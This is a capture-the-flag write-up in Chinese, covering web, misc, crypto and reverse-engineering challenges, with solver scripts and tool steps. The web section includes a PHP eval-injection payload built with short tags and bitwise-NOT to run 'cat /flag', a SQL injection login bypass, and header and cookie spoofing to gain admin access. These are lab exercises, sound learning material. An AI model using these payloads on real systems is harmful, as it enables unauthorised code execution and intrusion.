前言


也是前几天AKA完所有题,刚开始的时候很多题目没拿一血比较可惜,都是差一点

排在11名也是比较可惜的地方,只能说还是太菜了做的慢了

下次继续努力吧。

Web

Web1.HTTP

访问容器:


题目要求我们get传name,传入/?name=1


看源代码发现key为ctfisgood:


传入:

在cookie发现user为guest键值对,改为admin


f5刷新得到flag:

Web2.Head?Header!

访问容器:


改user-agent为ctf

Referer改成ctf.com

X-Forwarded-For改成127.0.0.1即本地


得到flag

Web3.我真的会谢

访问容器:


提示有三部分藏起来了。

看源码有提示


这提示直接访问.index.php.swp 果然下载过来了,文本编辑器查看一下


还有俩部分,都试试可能信息泄露的目录

分别是www.zip和robots.txt


最后三部分拼接在一起就是最终flag

Web4.NotPHP

审计题,各种姿势bypass

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
}

第一层伪协议data://绕过,把内容base64加密,构造payload:

data://text/plain;base64,V2VsY29tZSB0byBDVEY= #Welcome to CTF

绕过第一层。

第二层是MD5强比较,那么用数组绕过,如果是弱比较就可以用原值md5绕过。不过这里不行。

key1[]=111&key2[]=222


绕过第二层。

第三层是数字比较,要求post传参 且传的num不能被is_numeric检测(即不是数字)且数字内容为2077

这里可以用%0a换行绕过is_numeric的判断,构造:

num=2077%0a


成功绕过,最后一步就是eval RCE了,不过有个#号比较棘手

我们可以用php短标签+取反 进行绕过

?><?=`{${~%22%a0%b8%ba%ab%22}[%a0]}`?>&%a0=cat /flag

Web5.Word-For-You

访问容器,结合题目提示 存在sql注入漏洞

随机输入内容,后台会进行查询内容对应的字段

那么我们万能密码1’ or 1=1 or ‘1不就可以直接看所有的字段了吗

没想到尝试一下就直接进去了,就直接拿到flag了

Misc

Misc1.Yesec no drumsticks 1

题目提示:


下载附件得到图片png,题目直接提示lsb隐写了,直接zsteg一把梭了,用Stegsolve复制比较麻烦。

Misc2.qsdz’s girlfriend 1

题目提示:

下载附件得到压缩包,压缩包提示密码是女朋友生日


直接用bandizip自带的密码爆破,选择数字0-9,爆破特别快!


得到密码20031201解压图片


二次元女朋友。。。我服了。

图片底部有提示:


提示到名字是6个字母且首位大写。

第一眼没别的想法,就直接百度识图了,做这种简单题也不要想太多,按明确的思路去做。


一搜得到了Arcaea这个,高高兴兴去交flag了,结果不对。。还问主题人是不是题目格式有啥问题。

太心急了导致没了1血呜呜呜

其实这是个坑 做题要仔细,搜图结果说Arcaea是一款音游,但并不是女朋友名字,所以我们要搜Arcaea女主(doge


看到这个直接去试了,最后结果也就是这个名字Hikari

最后flag就是flag{名字_生日}

算是曲折的做题经历。。

Misc3.Look my eyes

题目提示:


下载附件得到一张jpg,结果一堆分析无果

其实题目名 提示 图片名都给了很多提示

沉默的眼睛,其实是一款隐写工具SilentEye(沉默之眼),这比较看misc手的做题经验吧,想起以前的时候也拿silenteye出过题

打开这款软件,将图片放入 decode直接出flag


最后base64解密下

Misc4.EzSnake

这道题说是杂项,看解法的话如果把数值114改大一点 改数据破解其实更像逆向题(这个数值太小了,要真玩也可以拿到flag),如果提取jar文件里的图片以及源码对图片进行修改 也可以是杂项题,毕竟什么杂的东西都可以算misc(

题目提示:


下载附件得到jar文件,java -jar EzSnake.jar启动游戏

如题目提示所说114即可得到flag,用jd-gui看源码


这里就是主要的函数,当分数超过114分时就会读取文件114514,然后是一个异或0x58的操作,这之后就会是一张图片

之后又经过了java的某些函数修改变成了最终的图片

我原来的做法就是把这个文件还原成图片,但是个无色的图片,再加上我对java这些函数不清楚用法 很麻烦,就没用这个方法做下去了。加上写脚本的时候str.encode时总会多\xc2和\xc3还是比较麻烦的

f = open('114514','rb')
content = f.read()
n = open('res.png','wb')
new = b''
for i in content:
    new += chr(i^0x58).encode().replace(b'\xc2',b'').replace(b'\xc3',b'')
n.write(new)


看到这个图片就卡住不知道咋做了

后面也是放弃了这种做法,直接改数据了。

思路就是jar反编译,用jd-gui打包文件为.java 修改java文件内容,其中114改为1。然后用javac -cp *.jar *.java这条命令将java转为class文件,最后再指定META-INF和反编译内容,反编译成jar文件即可

需要注意的是在java转class的时候因为java文件不知是jd-gui问题还是文件本身问题,其中一个for循环被改成了???,要修改否则无法转换


改成这样即可:


具体操作就不写了,大家可以百度下

修改后分数超过1时,会弹出个图片然后闪一下就没了


拼手速截图即可,17岁的反应还是轻轻松松(doge 实在不行录屏也行


最后是一个二维码,补齐码头扫描即可


base64解码得到flag

Misc5.奇怪的音频

题目提示:

提示告诉我们音频传输图像,我刚开始还以为是波频摩斯电码转信息,但acdacity分析了下无果,听了下音频倒是很像摩斯电码那样很嘈杂

还有一种音频隐写为SSTV,然后发现我linux里的qsstv分析都没啥结果,可能是因为虚拟机没声卡的原因

搜了下软件windows上有MMSSTV 和 RXSSTV两款软件

我用的是MMSSTV,打开RX,播放音频即可得到图像,不过需要注意这些软件都要声卡支持,如果你播放没有图像就说明你的声卡有问题 得先修复这类问题。

这个是我MMSSTV的图像,还是很糊的。我学弟用RXSSTV跑出来的图像特别清晰。。

Crypto

Crypto1.caeser

下载附件得到密文synt{uvfgbevpny_pvcure_vf_ihyarenoyr}

根据特征和题目名提示,凯撒爆破得到flag

Crypto2.吉奥万·巴蒂斯塔·贝拉索先生的密码

下载附件得到如下信息

pqcq{gteygpttmj_kc_zuokwv_kqb_gtofmssi_mnrrjt}


Hint: key length is 3

看起来很像凯撒,但题目又给个key

结合题目一猜就知道是维吉尼亚密码,在线网站爆破下 一把梭

Crypto3.eazyxor

xor.py

output.txt:
9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480

分析脚本:
urandom(1)就是随机生成一个字符串 赋值给key

密文是xor(flag,key)生成的。xor函数就是遍历flag将每一位异或key 最后返回最终的结果

密文是16进制。

思路:
这里的思路就是把key搞出来那就好做了,我们已知flag前缀为flag{,那么可以把前缀与密文的16进制进行异或,得到key

python手工尝试就可以验证:


可以看出,最终key为253,知道key了直接写脚本逆推即可

key = 253
cipher = '9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480'
flag = ""
for i in range(0,len(cipher),2):
    flag += chr(int(cipher[i:i+2],16) ^ key)
print(flag)

Crypto4.RSA_begin

下载附件,得到脚本

from Crypto.Util.number import *
from secret import flag


assert len(flag) % 5 == 0
cnt = len(flag) // 5
flags = [flag[cnt*i:cnt*(i+1)] for i in range(5)]


# Try to implement your RSA with primes p and q
def level1(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    e = 0x10001
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'p = {p}')
    print(f'q = {q}')


# But how can we attack the RSA when we didn't know the primes?
def level2(message):
    m = bytes_to_long(message)
    p = getPrime(64)
    q = getPrime(64)
    n = p * q
    e = 0x10001
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'n = {n}')


# Different e may cause danger?
def level3(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    e = 3
    n = p * q
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'n = {n}')


# So is there anything wrong with RSA as shown below?
def level4(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    d = getPrime(64)
    e = inverse(d, (p-1) * (q-1))
    n = p * q
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'e = {e}')
    print(f'n = {n}')


# What about different n? Just have a try with the hint!
def level5(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    n = p * p * q
    e = 0x10001
    d = inverse(e, p * (p-1) * (q-1))
    assert m < n
    c = pow(m, e, n)
    hint = pow(d, e, n)
    print(f'c = {c}')
    print(f'hint = {hint}')
    print(f'n = {n}')


print('Level 1:')
level1(flags[0])
print('Level 2:')
level2(flags[1])
print('Level 3:')
level3(flags[2])
print('Level 4:')
level4(flags[3])
print('Level 5:')
level5(flags[4])
Level 1:
c = 22160015525054597533062795679117215923801827397299805735087138192137742945881204146337349060934854888054628153923021387981306839951210090523829296521835965212118849043671673133979884712755090374758002677916820953359774554825569218497687506468472278309097929775388010403607769802840990547048001743970754496905
p = 6962443023774446497102092246794613339314677593117417573764609329949026862782472380488956732038459060928443992561763464365758383525259954798321350043810351
q = 9631855759661411029901156175243744760977799976661519182223576693685069000499866459636568713055906075171480855575061732016121299027658733834671035383233163
Level 2:
c = 17250922799297131008803303235771955129
n = 134097988095851988085603926250918812377
Level 3:
c = 2776571135646565181849912433877522437622755332262910824866791711
n = 85793694792655420934945863688968944466300304898903354212780512650924132933351787673979641944071634528676901506049360194331553838080226562532784448832916022442020751986591703547743056267118831445759258041047213294368605599719242059474324548598203039032847591828382166845797857139844445858881218318006747115157
Level 4:
c = 68588738085497640698861260094482876262596289469248772328560280530093163764972313090939471997156632421517452790632223565521726590730640805290182026911025142051864898712501214753986865172996090706657535814234291235489829621372021092488300236623525366939477695283380634188510950335639019458758643273802572617191
e = 51999725233581619348238930320668315462087635295211755849675812266270026439521805156908952855288255992098479180003264827305694330542325533165867427898010879823017054891520626992724274019277478717788189662456052796449734904215067032681345261878977193341769514961038309763898052908572726913209883965288047452751
n = 68816697240190744603903822351423855593899797203703723038363240057913366227564780805815565183450516726498872118491739132110437976570592602837245705802946829337567674506561850972973663435358068441037127926802688722648016352967768929007662772115485020718202683004813042834036078650571763978066558718285783045969
Level 5:
c = 1135954814335407362237156338232840769700916726653557860319741136149066730262056907097728029957898420630256832277578506404721904131425822963948589774909272408535427656986176833063600681390871582834223748797942203560505159946141171210061405977060061656807175913366911284450695116982731157917343650021723054666494528470413522258995220648163505549701953152705111304471498547618002847587649651689203632845303117282630095814054989963116013144483037051076441508388998829
hint = 611144874477135520868450203622074557606421849009025270666985817360484127602945558050689975570970227439583312738313767886380304814871432558985582586031211416586296452510050692235459883608453661597776103386009579351911278185434163016083552988251266501525188362673472772346212970459561496301631587043106524741903627979311997541301471894670374945556313285203740782346029579923650160327646876967315182335114575921178144825057359851607166387868294019144940296084605930
n = 1232865496850144050320992645475166723525103370117149219196294373695624167653495180701004894188767069545579706264513808335877905149818445940067870026924895990672091745229251935876434509430457142930654307044403355838663341948471348893414890261787326255632362887647279204029327042915224570484394917295606592360109952538313570951448278525753313335289675455996833500751672463525151201002407861423542656805624090223118747404488579783372944593022796321473618301206064979

内容是flag被分成5份,分别交给5个rsa进行运算,最终需要我们搞对5个rsa即可获得flag

全程rsa工具一把梭,太香了

level1:

# Try to implement your RSA with primes p and q
def level1(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    e = 0x10001
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'p = {p}')
    print(f'q = {q}')
Level 1:
c = 22160015525054597533062795679117215923801827397299805735087138192137742945881204146337349060934854888054628153923021387981306839951210090523829296521835965212118849043671673133979884712755090374758002677916820953359774554825569218497687506468472278309097929775388010403607769802840990547048001743970754496905
p = 6962443023774446497102092246794613339314677593117417573764609329949026862782472380488956732038459060928443992561763464365758383525259954798321350043810351
q = 9631855759661411029901156175243744760977799976661519182223576693685069000499866459636568713055906075171480855575061732016121299027658733834671035383233163

给了p和q还有e,最基础的直接解出。


level2:

# But how can we attack the RSA when we didn't know the primes?
def level2(message):
    m = bytes_to_long(message)
    p = getPrime(64)
    q = getPrime(64)
    n = p * q
    e = 0x10001
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'n = {n}')
Level 2:
c = 17250922799297131008803303235771955129
n = 134097988095851988085603926250918812377

这题给了n,没有p q可以考虑分解一下

p=10094271714305059493
q=13284562957208247589

分解出来p q,就照常做了


level3:

# Different e may cause danger?
def level3(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    e = 3
    n = p * q
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'n = {n}')
Level 3:
c = 2776571135646565181849912433877522437622755332262910824866791711
n = 85793694792655420934945863688968944466300304898903354212780512650924132933351787673979641944071634528676901506049360194331553838080226562532784448832916022442020751986591703547743056267118831445759258041047213294368605599719242059474324548598203039032847591828382166845797857139844445858881218318006747115157

e很小,考虑小e攻击


level4:

# So is there anything wrong with RSA as shown below?
def level4(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    d = getPrime(64)
    e = inverse(d, (p-1) * (q-1))
    n = p * q
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'e = {e}')
    print(f'n = {n}')
Level 4:
c = 68588738085497640698861260094482876262596289469248772328560280530093163764972313090939471997156632421517452790632223565521726590730640805290182026911025142051864898712501214753986865172996090706657535814234291235489829621372021092488300236623525366939477695283380634188510950335639019458758643273802572617191
e = 51999725233581619348238930320668315462087635295211755849675812266270026439521805156908952855288255992098479180003264827305694330542325533165867427898010879823017054891520626992724274019277478717788189662456052796449734904215067032681345261878977193341769514961038309763898052908572726913209883965288047452751
n = 68816697240190744603903822351423855593899797203703723038363240057913366227564780805815565183450516726498872118491739132110437976570592602837245705802946829337567674506561850972973663435358068441037127926802688722648016352967768929007662772115485020718202683004813042834036078650571763978066558718285783045969

看到这个e = inverse(d, (p-1) * (q-1)),可以考虑维纳攻击



level5:

# What about different n? Just have a try with the hint!
def level5(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    n = p * p * q
    e = 0x10001
    d = inverse(e, p * (p-1) * (q-1))
    assert m < n
    c = pow(m, e, n)
    hint = pow(d, e, n)
    print(f'c = {c}')
    print(f'hint = {hint}')
    print(f'n = {n}')
Level 5:
c = 1135954814335407362237156338232840769700916726653557860319741136149066730262056907097728029957898420630256832277578506404721904131425822963948589774909272408535427656986176833063600681390871582834223748797942203560505159946141171210061405977060061656807175913366911284450695116982731157917343650021723054666494528470413522258995220648163505549701953152705111304471498547618002847587649651689203632845303117282630095814054989963116013144483037051076441508388998829
hint = 611144874477135520868450203622074557606421849009025270666985817360484127602945558050689975570970227439583312738313767886380304814871432558985582586031211416586296452510050692235459883608453661597776103386009579351911278185434163016083552988251266501525188362673472772346212970459561496301631587043106524741903627979311997541301471894670374945556313285203740782346029579923650160327646876967315182335114575921178144825057359851607166387868294019144940296084605930
n = 1232865496850144050320992645475166723525103370117149219196294373695624167653495180701004894188767069545579706264513808335877905149818445940067870026924895990672091745229251935876434509430457142930654307044403355838663341948471348893414890261787326255632362887647279204029327042915224570484394917295606592360109952538313570951448278525753313335289675455996833500751672463525151201002407861423542656805624090223118747404488579783372944593022796321473618301206064979

最难的来了,这个n一开始我以为分解不了,yafu确实分解不了 跑了一天都没结果

但就在我有一番尝试,竟然发现factor可以分解。。。

p=7847442891136527803359068772358427068143790075117898713864091493156236115532143887311226864013228406744014688816262373232805140661188849984894717969091251
q=12534117664372989232569409438590242615337539602715699433408077708059688661449192930089271891161700563225723137957778069886363333248734538990407281949985777

p和q得到就简单了

有可能是非预期解吧,hint没有用到。

将p,q,n,e,c带入直接得到flag


最终flag为五个拼接在一起:

Crypto5.chaos

这题确实不算很难,只是代码看着很复杂很乱,但关键的东西作者都给了

逐步读代码

import random
import time
from secret import flag


def LC(key, x, times, flags):
    (k1, k2) = key
    xn = []
    xn.append(x)
    if flags:
        xn.append(1 - 2 * xn[0]**2)
    else:
        xn.append(k2 * xn[0]**3 + (1 - k2)*xn[0])
    for i in range(times):
        assert xn[i]>=-1 and xn[i]<=1 and xn[i+1]>=-1 and xn[i+1]<=1
        if flags:
            xn.append((1 - 2 * xn[i]**2)*(k1 * xn[i+1]**3 + (1 - k1)*xn[i+1]))
        else:
            xn.append((k2 * xn[i]**3 + (1 - k2)*xn[i])*(1 - 2 * xn[i+1]**2))
    return xn[times + 1]


def init():
    sum, r, k = 0, 1, []
    k1 = random.uniform(3.2, 4)
    k2 = random.uniform(3.2, 4)
    for i in range(16):
        k.append(random.randint(1,256))
        sum += k[-1]
        r ^= k[-1]  
    a_1 = (sum/256) % 1
    timea1 = 3 + int(1000 * a_1) % 30
    b_1 = (r/256)
    timeb1 = 3 + int(1000 * b_1) % 30
    xc_1 = a_1 * b_1
    yc_1 = (a_1 + b_1) % 1
    print('k1, k2 = %r, %r'%(k1, k2))
    print('k = %r'%k)
    return (k1, k2), (a_1, timea1, b_1, timeb1, xc_1, yc_1)


def encrypt(key, data, flag):
    (k1, k2) = key
    (a_1, timea1, b_1, timeb1, xc_1, yc_1) = data
    flag = list(flag)
    m, c = [], []
    miu, omiga = [], []
    ta = timea1
    tb = timeb1
    for tmp in flag:
        mi = ord(tmp)
        miu.append(LC(key, a_1, ta, 1))
        omiga.append(LC(key, b_1, tb, 0))
        c.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000)) ^ mi) % 256)
        delta = c[-1]/256
        for i in range(3):
            y = (yc_1 + delta) % 1
            y = k1 * y**3 + (1 - k1) * y
            x = xc_1
            x = k2 * x**3 + (1 - k2) * x
        ta = 3 + int(1000 * x) % 30
        tb = 3 + int(1000 * y) % 30
    print('c = %r'%(c))
    return c


if __name__=="__main__":
    # print(flag)
    key, data = init()
    c = encrypt(key, data, flag)


'''
k1, k2 = 3.967139695598587, 3.7926025078694305                                          
k = [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132]          
c = [23, 84, 105, 111, 230, 105, 97, 50, 58, 61, 25, 97, 57, 21, 175, 77, 102, 138, 120, 17, 66, 172, 52, 178, 101, 221, 109, 126, 71, 149, 63, 32, 56, 6, 134, 255, 110, 57, 15, 20, 116]
'''

已知条件:k1,k2,c

先看最底下先运行的部分,key,data = init(),跟进

首先,k1,k2是3.2到4区间的随机小数,题目print出来了,也就是key。 这是题目给我们的已知条件key

其次,sum,r,k给了我们,其中k也被print出来,我们看看k是什么东西。


k经过了16次循环,每次添加1-256之间的随机数,与此同时 sum和r也与k有关,那么题目告诉了我们k还有sum和r的原值,我们可以推出sum和r

sum和r又有什么用呢?


这些数据都与sum和r有关,只要我们知道了sum和r,就可以知道这些数据,也就是return回去的data

所以我们已知条件已有:sum,r,k

可以推出 => a_1, timea1, b_1, timeb1, xc_1, yc_1 => data

已知:k1,k2 可以推出=> key

先写脚本把data推出,遍历k,然后得出sum和r 最后把每个值得出即可。

sum, r, k = 0, 1, [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132]  
k1,k2 = 3.967139695598587, 3.7926025078694305
for i in k:
    sum += i
    r ^= i
a_1 = (sum/256) % 1
timea1 = 3 + int(1000 * a_1) % 30
b_1 = (r/256)
timeb1 = 3 + int(1000 * b_1) % 30
xc_1 = a_1 * b_1
yc_1 = (a_1 + b_1) % 1


data = (a_1, timea1, b_1, timeb1, xc_1, yc_1)


key = (k1,k2)


print(key,data)

得到了数据,再次跟看encrypt函数,这个函数要用的参数key和data我们都有,flag需要我们推出


刚开始进行了取key和data里面的数据,然后把flag变为列表,定义了很多列表 很多值,这些不关键,重要的是中间的for循环


这个操作是遍历flag给tmp,之后mi = ord(tmp) 就是取循环中每一次flag的ascii码。

miu.append(LC(key, a_1, ta, 1))
omiga.append(LC(key, b_1, tb, 0))

这里又引用了LC函数,这里如果跟进又会觉得很复杂,但其实呢,LC函数里的key,a1,ta等等参数就是我刚刚的data和key的内容,所以我们根本不需要知道LC函数的内容,直接复制然后引用即可

c.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000)) ^ mi) % 256)

这里变量c是题目给出的可知条件,所以我们可以用变量c反推出未知变量mi,也就是flag的每一部分,miu[-1]和omiga[-1]就是取每一次循环新添加的值,我们解密的时候直接遍历取循环数就行了。

由于我们有key和data,所以可以直接得出LC函数的返回值,即我们已得知miu和omiga变量的内容,又因为题目给出了列表c的内容,那么我们就可以推出mi 即flag

可以说重要的内容就这些了,那么下面的一部分内容是什么呢


因为miu和omiga每次添加LC函数内容的返回值时,要用到ta和tb,这两个值在每一次循环都是变动的,所以我们每次循环还要把这两个值得出才能保证最终flag的准确性

但由于里面的值我们都是知道的,所以直接带入即可,唯一需要修改的就是把delta = c[-1]/256 改成我们到时候遍历的值即可。

所以这题其实一点都不难,关键的条件都是已知,只是看着比较复杂

最后我们写脚本解密,已知条件的部分不用修改,只用修改c.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000)) ^ mi) % 256)和delta = c[-1]/256

def LC(key, x, times, flags):
    (k1, k2) = key
    xn = []
    xn.append(x)
    if flags:
        xn.append(1 - 2 * xn[0]**2)
    else:
        xn.append(k2 * xn[0]**3 + (1 - k2)*xn[0])
    for i in range(times):
        assert xn[i]>=-1 and xn[i]<=1 and xn[i+1]>=-1 and xn[i+1]<=1
        if flags:
            xn.append((1 - 2 * xn[i]**2)*(k1 * xn[i+1]**3 + (1 - k1)*xn[i+1]))
        else:
            xn.append((k2 * xn[i]**3 + (1 - k2)*xn[i])*(1 - 2 * xn[i+1]**2))
    return xn[times + 1]


m, c = [], [23, 84, 105, 111, 230, 105, 97, 50, 58, 61, 25, 97, 57, 21, 175, 77, 102, 138, 120, 17, 66, 172, 52, 178, 101, 221, 109, 126, 71, 149, 63, 32, 56, 6, 134, 255, 110, 57, 15, 20, 116]
miu, omiga = [], []
ta = timea1
tb = timeb1


res = []
for flag in c:
    miu.append(LC(key, a_1, ta, 1))
    omiga.append(LC(key, b_1, tb, 0))
    res.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000))%256)^flag)
    delta = flag/256
    for i in range(3):
        y = (yc_1 + delta) % 1
        y = k1 * y**3 + (1 - k1) * y
        x = xc_1
        x = k2 * x**3 + (1 - k2) * x
    ta = 3 + int(1000 * x) % 30
    tb = 3 + int(1000 * y) % 30

print(res)

只需把原脚本tmp修改成我们遍历c取得值即可。


打印结果:


看到这个102对应的就是f,只要都ascii解码下就是最终flag了。

最终脚本:

sum, r, k = 0, 1, [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132]  
k1,k2 = 3.967139695598587, 3.7926025078694305
for i in k:
    sum += i
    r ^= i
a_1 = (sum/256) % 1
timea1 = 3 + int(1000 * a_1) % 30
b_1 = (r/256)
timeb1 = 3 + int(1000 * b_1) % 30
xc_1 = a_1 * b_1
yc_1 = (a_1 + b_1) % 1


data = (a_1, timea1, b_1, timeb1, xc_1, yc_1)


key = (k1,k2)


print(key,data)

def LC(key, x, times, flags):
    (k1, k2) = key
    xn = []
    xn.append(x)
    if flags:
        xn.append(1 - 2 * xn[0]**2)
    else:
        xn.append(k2 * xn[0]**3 + (1 - k2)*xn[0])
    for i in range(times):
        assert xn[i]>=-1 and xn[i]<=1 and xn[i+1]>=-1 and xn[i+1]<=1
        if flags:
            xn.append((1 - 2 * xn[i]**2)*(k1 * xn[i+1]**3 + (1 - k1)*xn[i+1]))
        else:
            xn.append((k2 * xn[i]**3 + (1 - k2)*xn[i])*(1 - 2 * xn[i+1]**2))
    return xn[times + 1]


m, c = [], [23, 84, 105, 111, 230, 105, 97, 50, 58, 61, 25, 97, 57, 21, 175, 77, 102, 138, 120, 17, 66, 172, 52, 178, 101, 221, 109, 126, 71, 149, 63, 32, 56, 6, 134, 255, 110, 57, 15, 20, 116]
miu, omiga = [], []
ta = timea1
tb = timeb1


res = []
for flag in c:
    miu.append(LC(key, a_1, ta, 1))
    omiga.append(LC(key, b_1, tb, 0))
    res.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000))%256)^flag)
    delta = flag/256
    for i in range(3):
        y = (yc_1 + delta) % 1
        y = k1 * y**3 + (1 - k1) * y
        x = xc_1
        x = k2 * x**3 + (1 - k2) * x
    ta = 3 + int(1000 * x) % 30
    tb = 3 + int(1000 * y) % 30
print(res)


f = ""
for i in res:
    f += chr(i)
print(f)

Reverse

Re1.Hello_Reverse

下载附件 64位,无壳

主函数发现一半的flag,还有一半在.rdata段中


flag就是两个拼接在一起

Re2.Baby_Re

64位程序分析,


看到底下,输入的字符串异或i过后经过compare函数后return 1时就说明flag正确

跟进compare函数


可以看到flag为32位长,然后遍历输入的字符串,要求和final一样。跟进final,


写脚本,for循环final长度并将我们final字符串一一异或for循环的次数。

final = [0x66,0x6d,0x63,0x64,0x7f,0x56,0x69,0x6a,0x6d,0x7d,0x62,0x62,0x62,0x6a,0x51,0x7d,0x65,0x7f,0x4d,0x71,0x71,0x73,0x79,0x65,0x7d,0x46,0x77,0x7a,0x75,0x73,0x21,0x62]
flag = ""
for i in range(len(final)):
    flag += chr(final[i]  ^i)
print(flag)

运行后得到flag,但这个flag是错误的。

经过flag内容和题目提示,说明还有些细节遗漏,

再次分析ida 发现有四个bytes

跟进functionname,发现

发现有4个字节要修改。对应改下重新运行,

final = [0x66,0x6d,0x63,0x64,0x7f,0x56,0x36,0x6a,0x6d,0x7d,0x3a,0x62,0x62,0x6a,0x51,0x7d,0x65,0x7f,0x4d,0x71,0x71,0x73,0x26,0x65,0x7d,0x46,0x77,0x7a,0x75,0x73,0x3f,0x62]
flag = ""
for i in range(len(final)):
    flag += chr(final[i]  ^i)
print(flag)

Re3.Pyre

下载附件exe

看到这个图标,直接就知道是用py编译起来的exe

查了下百度,了解到用pyinstxtractor.py 可以将pyre进行反编译

python pyinstxtractor.py pyre.exe

反编译后,会生成一个文件夹


这个pyre就是.pyc文件,不过我们还需要修改pyc文件头到这个文件头部,这个文件头可以复制struct的

winhex打开struct,复制文件头直到E3


然后复制到pyre里


改pyre后缀为.pyc,那么pyc就搞好了,然后就用uncompyle6进行pyc反编译py

uncompyle6 -o pyre.py pyre.pyc

反编译后,看py源码


一个简单的逆向,我们解密可以先创造一个和encode一样长的列表,然后遍历table的数字将数字对应encode的字母添加到列表的下标

encode = 'REla{PSF!!fg}!Y_SN_1_0U'
table = [7, 8, 1, 2, 4, 5, 13, 16, 20, 21, 0, 3, 22, 19, 6, 12, 11, 18, 9, 10, 15, 14, 17]
flag = ['']*(len(encode))
for i in range(len(table)):
    flag[table[i]] = encode[i]
print(''.join(flag))

Re4.EasyRe

下载附件得到exe和dll文件,IDA分析exe


首先exe会加载dll,调用dll里的函数,注意55行 定义encode为enc.dll里中的encode函数

然后62-64行就是将输入的字符串进行encode,然后与final比较

所以继续分析enc.dll,查看里面的encode函数


先看最后return里的函数,跟进。



如果我们要逆推那么首先就要跟Str进行异或,然后再接下来的函数

这里的encode函数大概意思就是将a1的值经过一系列操作后赋值给a2,然后a2再异或变量Str里的内容,最终返回a2值

刚开始做这题被中间的算法难到了,要逆推太麻烦了,幸运的是我翻之前的题目的时候正好看到有一套算法就是这样,其实这个算法就是base64加密的操作,所以我们只需要将最后return里的函数进行异或后,再base64解密即可。

读懂了函数,就可以写脚本了,将final写列表里然后我们遍历Reverse异或 最后base64解密就是flag了。需要注意的是final中第14个元素没告诉我们,这里我的解法是遍历所有ascii爆破最后的flag。

import base64
import string


final = [8,8,14,13,40,64,17,17,60,46,43,30,61,15,'',3,59,61,60,21,40,5,80,70,63,42,57,9,49,86,36,28]
for i in '?$P<,%#K':
    final.append(ord(i))
print(final)
Str= "Reverse"
flag = []
for i in range(len(final)):
    try:
        flag.append(chr(final[i]^ord(Str[i%len(Str)])))
    except:
        flag.append(final[i])
for i in string.ascii_letters+string.digits:
    flag[14] = i
    content ="".join(flag)
    b64 = base64.b64decode(content)
    print(b64)


最后也是成功爆破出来真正的flag

Re5.艾克体悟题

作者给出了提示,https://note.youdao.com/ynoteshare/index.html?id=a006b246edc7fc65ed20abbc2d9c5351&type=note&\_time=1663716620460

apk逆向,提示告诉我们如何安装apk、apk反编译,以及adb shell启动指定活动

我们通过adb shell打开flag活动,发现需要点击按钮1w次得到flag


这里我的思路是apk反编译后重新打包,将1w这个数值改成1

逆向开始!

下载apktool   https://ibotpeaches.github.io/Apktool/  这个工具作用就是将apk反编译和重新打包

输入java -jar apktool_2.4.1.jar d demo.apk -o demo

等待一段时间,就会生成文件夹了

进入文件夹修改文件,在smali/com/droidlearn/activity_travel/目录下找到FlagActivity$1.smali文件,这个smali文件是可以直接编辑器打开看的

无需看懂,直接找到0x2710(10000)十六进制,这个数值就是关键,修改为0x1即可


修改过后,我们重新打包即可。

打包指令,输入java -jar apktool_2.4.1.jar b demo -o demo_repackage.apk


生成出一个apk即打包完毕,需要注意打包后的apk并不可用 还需要安装签名。

安装至夜神模拟器,用/nox/bin目录下的adb工具进行安装,adb install [apk]

发现报错,这就是没有签名的原因。

使用JRE环境变量下的keytool生成口令文件

keytool -genkey -alias testalias -keyalg RSA -keysize 2048 -validity 36500 -keystore test.keystore

这条命令重要的是-alias testalias


输入口令密码和一堆问题的答案

生成成功后会在目录下创建.keystore文件,keytool -list -v -keystore test.keystore查看详细信息,这里的别名很重要

最后就是为我们的apk签上名即可

jarsigner -verbose -keystore test.keystore -storepass 123456 -signedjar flag.apk new.apk testalias

-keystore +签名文件,
-sotrepass +签名口令密码,
-signedjar后跟三个参数 分别是签名后的apk文件 需要签名的apk文件 签名的别名

最后输入后即可生成flag.apk 此时我们adb就可以安装了


夜神模拟器安装签名后的apk文件,adb install flag.apk

成功安装,


输入adb shell进入调试

可以用am start -n 包名/包名.活动名 这个指令让你的夜神模拟器打开某个包的某个活动,

那么要怎么看包名呢,输入pm list package 这个指令会列出模拟器中所有的包


筛选找到你的包名即可,然后活动名可以用jadx-gui分析源码


红框的部分都是活动名,我们想打开哪一部分就指定哪块活动名

比如我想打开main函数,那命令就是am start -n com.droidlearn.activity_travel/com.droidlearn.activity_travel.MainActivity

